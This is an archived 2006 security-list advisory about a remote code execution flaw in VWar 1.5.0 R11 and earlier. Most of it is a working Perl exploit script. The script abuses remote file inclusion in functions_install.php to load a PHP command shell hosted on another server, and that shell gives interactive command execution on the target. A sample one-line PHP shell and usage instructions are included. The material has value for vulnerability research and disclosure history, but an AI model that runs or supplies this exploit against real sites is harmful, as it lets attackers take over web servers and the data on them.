

# [EXPL] VWar Remote Code Execution (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00002.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 2 Apr 2006 13:48:25 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

VWar Remote Code Execution (Exploit)

---

## SUMMARY

<<http://www.vwar.de/>> Vwar is is a clan management system. It stores all clan members details. Logs match results and keeps track of upcoming matches. Using the links under the Vwar menu, you can view all clan members, view upcoming matches, view previous results, view clan statistics and members can log into Vwar to edit their own profile.

Vulnerability in VWar allows remote code execution.

## DETAILS

Vulnerable Systems:

\* VWar versions 1.5.0 R11 and prior.

Exploit:

```
#!/usr/bin/perl
```

```
##
```

```
# VWar <= 1.5.0 R11 Remote Code Execution Exploit
```

```
# Bug Found By [Oo] code by uid0/zod
```

```
##
```

```
# (c) 2006
```

## [EXPL] VWar Remote Code Execution (Exploit)

```
# ExploiterCode.com
##
# usage:
# perl vwar.pl <location of VWar> <cmd shell location> <cmd shell
variable>
#
# perl vwar.pl http://site.com/vwar/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck,
blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com
uid0@xxxxxxxxxxxxxxxxxxx
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
print "[shell] \>";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xml = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'includes/functions_install.php?vwar_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not
connect\n";

$res = $xml->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ ]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return = "";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
```

## [EXPL] VWar Remote Code Execution (Exploit)

```
=~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\>.<b>Fatal.error/) {print "\nInvalid Command or
No Return\n\n"}

if($return =~/(.*)/)

{
$finreturn = $1;
$finreturn=~ tr/[ ]/[\\n]/;
print "\r\n$finreturn\n\r";
last;
}

else {print "[shell] \$";}}last;

sub head()
{
print
"\n=====\\r\n";
print " *VWar <= 1.5.0 R11 Remote Code Execution Exploit*\\r\n";
print
"=====\\r\n";
}
sub usage()
{
head();
print " Usage: perl vwar.pl <location of VWar> <cmd shell location> <cmd
shell variable>\\r\n\n";
print " <Site> – Full path to VWar ex: http://www.site.com/vwar/ \\r\n";
print " <cmd shell> – Path to cmd Shell e.g
http://www.different-site.com/cmd.txt \\r\n";
print " <cmd variable> – Command variable used in php shell \\r\n";
print
"=====\\r\n";
print " Bug Found by [Oo] code by
zod/uid0\\r\n";
print " www.exploitercode.com irc.exploitercode.com
#exploitercode\\r\n";
print
"=====\\r\n";
exit();
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:uid0@xxxxxxxxxxxxxxxxxxxx>>  
uid0.

[EXPL] VWar Remote Code Execution (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.